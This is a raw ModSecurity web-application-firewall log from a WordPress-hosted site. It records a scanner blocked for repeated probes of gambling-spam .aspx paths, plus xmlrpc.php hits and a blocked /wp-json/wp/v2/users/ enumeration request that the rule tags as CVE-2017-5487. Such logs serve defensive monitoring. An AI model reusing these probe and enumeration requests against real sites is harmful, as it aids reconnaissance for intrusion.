[Fri Jan 30 21:05:05.979003 2026] [:error] [pid 46912:tid 46938] [client 217.182.139.33:37266] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aXysgT6yiVW7A9NwFFnieAAAAA4"]
[Fri Jan 30 21:05:08.630793 2026] [:error] [pid 24712:tid 24756] [client 217.182.139.33:37274] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXyshIRLQrFiQF3h9-tKQAAAAY8"]
[Fri Jan 30 21:05:11.297852 2026] [:error] [pid 47021:tid 47031] [client 217.182.139.33:37280] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXysh9ap1k13UdZUNSRG-wAAAMg"]
[Fri Jan 30 21:05:14.003447 2026] [:error] [pid 47021:tid 47034] [client 217.182.139.33:34478] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aXysitap1k13UdZUNSRHCAAAAMs"]
[Fri Jan 30 21:05:16.695884 2026] [:error] [pid 24711:tid 24724] [client 217.182.139.33:34514] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aXysjK5Gwh4var6T23KYswAAAUo"]
[Fri Jan 30 21:05:19.422962 2026] [:error] [pid 24712:tid 24744] [client 217.182.139.33:34534] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aXysj4RLQrFiQF3h9-tKRwAAAYM"]
[Fri Jan 30 21:05:21.873413 2026] [:error] [pid 24711:tid 24737] [client 217.182.139.33:34576] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aXyska5Gwh4var6T23KYxQAAAVc"]
[Fri Jan 30 21:05:24.686976 2026] [:error] [pid 24711:tid 24717] [client 217.182.139.33:37512] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aXyslK5Gwh4var6T23KYygAAAUM"]
[Fri Jan 30 21:05:27.556824 2026] [:error] [pid 24712:tid 24754] [client 217.182.139.33:37518] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aXysl4RLQrFiQF3h9-tKTgAAAY0"]
[Fri Jan 30 21:05:30.354097 2026] [:error] [pid 24712:tid 24752] [client 217.182.139.33:37524] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aXysmoRLQrFiQF3h9-tKUAAAAYs"]
[Fri Jan 30 21:05:33.034869 2026] [:error] [pid 24712:tid 24742] [client 217.182.139.33:37526] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aXysnYRLQrFiQF3h9-tKVgAAAYE"]
[Fri Jan 30 21:05:35.683869 2026] [:error] [pid 24712:tid 24760] [client 217.182.139.33:58672] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aXysn4RLQrFiQF3h9-tKXQAAAZI"]
[Fri Jan 30 21:05:38.434908 2026] [:error] [pid 46914:tid 46980] [client 217.182.139.33:58684] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aXysolgSfJ4kZxNKlb_JOwAAAII"]
[Fri Jan 30 21:05:41.154558 2026] [:error] [pid 47663:tid 47685] [client 217.182.139.33:58694] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aXyspUHGTrgIKCqEYbWYtAAAAlQ"]
[Fri Jan 30 21:05:43.856209 2026] [:error] [pid 47663:tid 47673] [client 217.182.139.33:55736] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aXysp0HGTrgIKCqEYbWYuAAAAkg"]
[Fri Jan 30 21:05:46.386328 2026] [:error] [pid 38686:tid 38699] [client 217.182.139.33:55752] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aXysqgoE8BAjgw1_sAVosQAAAck"]
[Fri Jan 30 21:05:48.851104 2026] [:error] [pid 24712:tid 24749] [client 217.182.139.33:55764] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aXysrIRLQrFiQF3h9-tKcgAAAYg"]
[Fri Jan 30 21:05:51.713483 2026] [:error] [pid 24681:tid 24703] [client 217.182.139.33:55774] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aXysr4E368IXQpahn0KBNAAAARQ"]
[Fri Jan 30 21:06:36.357564 2026] [:error] [pid 47021:tid 47023] [client 217.182.139.33:53328] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aXys3Nap1k13UdZUNSRHTgAAAMA"]
[Fri Jan 30 21:06:38.890169 2026] [:error] [pid 46912:tid 46938] [client 217.182.139.33:48304] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXys3j6yiVW7A9NwFFnixAAAAA4"]
[Fri Jan 30 21:06:41.412760 2026] [:error] [pid 46914:tid 46996] [client 217.182.139.33:48316] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aXys4VgSfJ4kZxNKlb_JhgAAAJI"]
[Fri Jan 30 21:06:43.927056 2026] [:error] [pid 24711:tid 24725] [client 217.182.139.33:55334] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aXys465Gwh4var6T23KZFgAAAUs"]
[Fri Jan 30 21:06:46.433151 2026] [:error] [pid 46914:tid 46978] [client 217.182.139.33:55336] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aXys5lgSfJ4kZxNKlb_JjgAAAIA"]
[Fri Jan 30 21:06:48.934126 2026] [:error] [pid 46914:tid 46983] [client 217.182.139.33:55348] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aXys6FgSfJ4kZxNKlb_JkgAAAIU"]
[Fri Jan 30 21:06:51.434804 2026] [:error] [pid 38686:tid 38701] [client 217.182.139.33:55352] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aXys6woE8BAjgw1_sAVo8AAAAcs"]
[Fri Jan 30 21:06:53.961035 2026] [:error] [pid 47021:tid 47030] [client 217.182.139.33:54358] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXys7dap1k13UdZUNSRHWgAAAMc"]
[Fri Jan 30 21:06:56.454793 2026] [:error] [pid 47663:tid 47673] [client 217.182.139.33:54366] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXys8EHGTrgIKCqEYbWY-wAAAkg"]
[Fri Jan 30 21:06:58.988657 2026] [:error] [pid 46912:tid 46945] [client 217.182.139.33:54372] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aXys8j6yiVW7A9NwFFnizgAAABU"]
[Fri Jan 30 21:07:01.479022 2026] [:error] [pid 24712:tid 24755] [client 217.182.139.33:54382] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aXys9YRLQrFiQF3h9-tKtQAAAY4"]
[Fri Jan 30 21:07:03.997163 2026] [:error] [pid 38980:tid 38995] [client 217.182.139.33:57874] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXys97YByxUZEaKXdHqkRAAAAgg"]
[Fri Jan 30 21:07:06.369796 2026] [:error] [pid 24712:tid 24745] [client 217.182.139.33:57888] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aXys-oRLQrFiQF3h9-tKuAAAAYQ"]
[Fri Jan 30 21:07:09.013675 2026] [:error] [pid 38980:tid 38991] [client 217.182.139.33:57892] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aXys_bYByxUZEaKXdHqkTAAAAgQ"]
[Fri Jan 30 21:07:11.496182 2026] [:error] [pid 47663:tid 47688] [client 217.182.139.33:57900] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aXys_0HGTrgIKCqEYbWZCQAAAlc"]
[Fri Jan 30 21:07:13.998146 2026] [:error] [pid 24712:tid 24766] [client 217.182.139.33:41316] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aXytAYRLQrFiQF3h9-tKvAAAAZg"]
[Fri Jan 30 21:07:16.503018 2026] [:error] [pid 38686:tid 38694] [client 217.182.139.33:41328] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aXytBAoE8BAjgw1_sAVpCQAAAcQ"]
[Fri Jan 30 21:07:19.006637 2026] [:error] [pid 24711:tid 24725] [client 217.182.139.33:41340] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aXytB65Gwh4var6T23KZQQAAAUs"]
[Fri Jan 30 21:07:21.490638 2026] [:error] [pid 24711:tid 24734] [client 217.182.139.33:41356] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aXytCa5Gwh4var6T23KZTQAAAVQ"]
[Fri Jan 30 21:07:23.989613 2026] [:error] [pid 24712:tid 24751] [client 217.182.139.33:51864] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aXytC4RLQrFiQF3h9-tKxQAAAYo"]
[Fri Jan 30 21:07:26.335948 2026] [:error] [pid 38980:tid 38997] [client 217.182.139.33:51874] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aXytDrYByxUZEaKXdHqkVQAAAgo"]
[Fri Jan 30 21:07:28.844210 2026] [:error] [pid 24711:tid 24729] [client 217.182.139.33:51888] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aXytEK5Gwh4var6T23KZXwAAAU8"]
[Fri Jan 30 21:07:31.337059 2026] [:error] [pid 38686:tid 38712] [client 217.182.139.33:51898] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXytEwoE8BAjgw1_sAVpDwAAAdY"]
[Fri Jan 30 21:08:15.729170 2026] [:error] [pid 24681:tid 24698] [client 217.182.139.33:53064] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aXytP4E368IXQpahn0KBmgAAAQ8"]
[Fri Jan 30 21:08:18.262824 2026] [:error] [pid 46912:tid 46945] [client 217.182.139.33:41520] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aXytQj6yiVW7A9NwFFni8QAAABU"]
[Fri Jan 30 21:08:20.760922 2026] [:error] [pid 38980:tid 39000] [client 217.182.139.33:41528] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aXytRLYByxUZEaKXdHqkgAAAAg0"]
[Fri Jan 30 21:08:23.252773 2026] [:error] [pid 46912:tid 46930] [client 217.182.139.33:41542] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aXytRz6yiVW7A9NwFFni9QAAAAY"]
[Fri Jan 30 21:08:25.732425 2026] [:error] [pid 38686:tid 38691] [client 217.182.139.33:40544] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXytSQoE8BAjgw1_sAVpOgAAAcE"]
[Fri Jan 30 21:08:28.068611 2026] [:error] [pid 24711:tid 24718] [client 217.182.139.33:40560] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aXytTK5Gwh4var6T23KZqgAAAUQ"]
[Fri Jan 30 21:08:30.577389 2026] [:error] [pid 24711:tid 24716] [client 217.182.139.33:40570] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aXytTq5Gwh4var6T23KZsgAAAUI"]
[Fri Jan 30 21:08:33.119762 2026] [:error] [pid 24712:tid 24760] [client 217.182.139.33:40572] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXytUYRLQrFiQF3h9-tLCwAAAZI"]
[Fri Jan 30 21:08:35.684873 2026] [:error] [pid 46913:tid 46956] [client 217.182.139.33:35060] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aXytUzMWmKL8hOfC3uTOggAAAEU"]
[Fri Jan 30 21:08:38.163152 2026] [:error] [pid 47663:tid 47688] [client 217.182.139.33:35066] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aXytVkHGTrgIKCqEYbWZMwAAAlc"]
[Fri Jan 30 21:09:05.490484 2026] [:error] [pid 46913:tid 46962] [client 34.73.243.110:65217] [client 34.73.243.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.243.110, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXytcTMWmKL8hOfC3uTOkgAAAEs"]
[Fri Jan 30 21:09:08.465791 2026] [:error] [pid 46913:tid 46961] [client 34.73.243.110:65217] [client 34.73.243.110] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXytdDMWmKL8hOfC3uTOlwAAAEo"]
[Fri Jan 30 21:09:11.382019 2026] [:error] [pid 46913:tid 46958] [client 34.73.243.110:65217] [client 34.73.243.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.243.110, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXytdzMWmKL8hOfC3uTOmQAAAEc"]
[Fri Jan 30 21:09:39.212068 2026] [:error] [pid 38980:tid 38997] [client 34.73.0.144:56514] [client 34.73.0.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.0.144, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXytk7YByxUZEaKXdHqkuwAAAgo"]
